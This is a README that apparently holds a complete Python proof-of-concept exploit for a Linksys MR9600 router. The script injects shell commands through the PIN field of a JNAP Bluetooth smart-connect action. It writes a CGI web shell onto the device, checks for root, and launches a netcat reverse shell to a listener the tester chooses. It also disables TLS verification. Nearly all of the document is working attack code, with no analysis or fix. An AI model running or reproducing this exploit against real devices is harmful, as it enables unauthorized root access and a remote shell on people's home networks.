README.md
Rendering markdown...
#!/usr/bin/env python3.13
import base64
import json
import sys
import time
import urllib.error
import urllib.request
import argparse
# must be imported to ignore self signed certificates so that https can be used
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Argument parsing handlers
parser = argparse.ArgumentParser()
parser.add_argument("-ti", "--targetIP", help="Target IP address of the vulnerable router",required=True)
parser.add_argument("-tp", "--targetPort", help="Listening port for the administrative interface, defualts to 80")
parser.add_argument("-lp", "--listenPort", help="Listening port on the testers machine",required=True)
parser.add_argument("-li", "--listenIP", help="IP address that is listening, usually 192.168.1.1",required=True)
parser.add_argument("-u", "--username", help="Administrator username to be used, defaults to admin")
parser.add_argument("-p", "--password", help="Password for the administrator account, defaults to admin")
parser.add_argument("-s", "--https", action='store_true',help="Use https instead of http, http is most common listening protocol on MR9600")
args = parser.parse_args()
## set target port in the URL
if(args.targetPort!=""):
TARGET = args.targetIP+":"+args.targetPort
else:
TARGET = args.targetIP
## set protocol to be used default is https
if(args.https):
TARGET="https://"+TARGET
else:
TARGET="http://"+TARGET
## if username is not set set to the default of admin
if args.username != "":
USER = args.username
else:
USER = "admin"
## if password is not set set to the default of admin
if args.password != "":
PASSWORD = args.password
else:
PASSWORD = "admin"
# set static variubles based on information provided by flags
LHOST = args.listenIP
LPORT = args.listenPort
TIMEOUT = 10
UI = "1.0.99.206937"
## Set the endpoints that linksys uses for this particular vulnerablity
GET_MODE = "http://linksys.com/jnap/nodes/smartmode/GetDeviceMode"
SET_MODE = "http://linksys.com/jnap/nodes/smartmode/SetDeviceMode"
EXPLOIT = "http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectPIN"
JNAP = TARGET + "/JNAP/"
SHELL_FS = f"/www/ui/{UI}/static/shell.cgi"
SHELL_URL = f"{TARGET}/ui/{UI}/static/shell.cgi"
#SHELL_FS = f"/www/shell.cgi" # alternate shell locations that I know will resolve correctly
#SHELL_URL = f"{TARGET}/shell.cgi" # alternate shell URL
AUTH = "Basic " + base64.b64encode(f"{USER}:{PASSWORD}".encode()).decode()
## request http/https webpage
def http(url, data=None, headers=None):
req = urllib.request.Request(url, data=data, headers=headers or {})
with urllib.request.urlopen(req,context=ctx, timeout=TIMEOUT) as r:
return r.read()
## JNAP handling
def jnap(action, payload):
headers = {
"X-JNAP-Action": action,
"X-JNAP-Authorization": AUTH,
"Content-Type": "application/json; charset=UTF-8",
}
for i in headers: print(i+" "+headers[i]);
body = json.dumps(payload).encode()
print(payload)
# print("using action: "+action)
try:
raw = http(JNAP, body, headers)
# print(raw)
except urllib.error.HTTPError as e:
raw = e.read()
return json.loads(raw.decode())
## Send it
def send_payload(cmd):
ret = jnap(EXPLOIT, {'pin': "a; " + cmd + "; #"})
if ret.get("result") != "OK":
raise RuntimeError(ret)
## Ensure the device is in the master mode otherwise return debug information
def ensure_master():
ret = jnap(GET_MODE, {})
print(ret)
mode = ret["output"]["mode"]
print("[*] Current mode:", mode)
if mode != "Master":
ret = jnap(SET_MODE, {"mode": "Master"})
if ret.get("result") != "OK":
raise RuntimeError(ret)
time.sleep(1)
## Stage the shell using the location variubles provided at the beginning
## of this POC
def stage_shell():
lines = [
"#!/bin/sh",
"echo Content-Type: text/plain",
"echo",
"IFS= read -r cmd",
'/bin/sh -c "$cmd" 2>&1',
]
cmd = []
for i, line in enumerate(lines):
cmd.append(f"echo '{line}' {'>' if i == 0 else '>>'}{SHELL_FS}")
cmd.append(f"chmod +x {SHELL_FS}")
send_payload("; ".join(cmd))
time.sleep(1)
## Run the shell
def run_shell(cmd):
try:
return http(SHELL_URL, cmd.encode(), {"Content-Type": "text/plain"}).decode(errors="replace")
except TimeoutError:
return ""
## Execute code in main
def main():
try:
ensure_master()
stage_shell()
if "root" not in run_shell("busybox whoami"):
raise RuntimeError("helper shell failed")
reverse = (
"rm -f /tmp/.btsh; "
"mkfifo /tmp/.btsh; "
f"/bin/sh -i </tmp/.btsh 2>&1 | /usr/bin/nc {LHOST} {LPORT} >/tmp/.btsh &"
)
run_shell(reverse)
print(f"[*] Reverse shell sent to {LHOST}:{LPORT}")
except Exception as e:
print("[!]", e, file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()